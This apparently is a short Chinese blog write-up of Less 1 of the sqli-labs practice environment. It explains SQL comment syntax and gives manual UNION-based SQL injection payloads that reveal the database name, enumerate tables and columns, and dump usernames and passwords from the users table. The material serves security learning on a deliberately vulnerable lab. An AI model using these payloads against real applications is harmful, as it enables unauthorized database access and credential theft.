Sqli-labs 01

黎 浩然/ 30 11 月, 2021/ 安全/SECURITY/ 0 comments

SQL注释

  • 单行注释:”#” 和 “– “,不包括双引号,该行注释符号后的内容为注释
  • 多行注释:”/**/”, 不包括双引号,该注释符号中间的内容为注释

Less 1

  • 通过伪造单引号提前结束id的值
  • 通过注释注释掉原来的右单引号
  • LIMIT 0, 1表示只显示 offset = 0,length = 1 的查询结果

手工UNION联合查询注入

查询数据库名称:查询结果为security

?id=-1' union select 1,2,database() --+

爆破该数据库的数据表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  • group_concat 将同一个group内的各个字段的所有值concatenate起来,最终每个group对应一行(row)结果
  • SQL 如果没有使用group by的情况下默认结果都在一个group

爆破该users数据表的字段

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆破该users数据表的字段username和password字段的值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*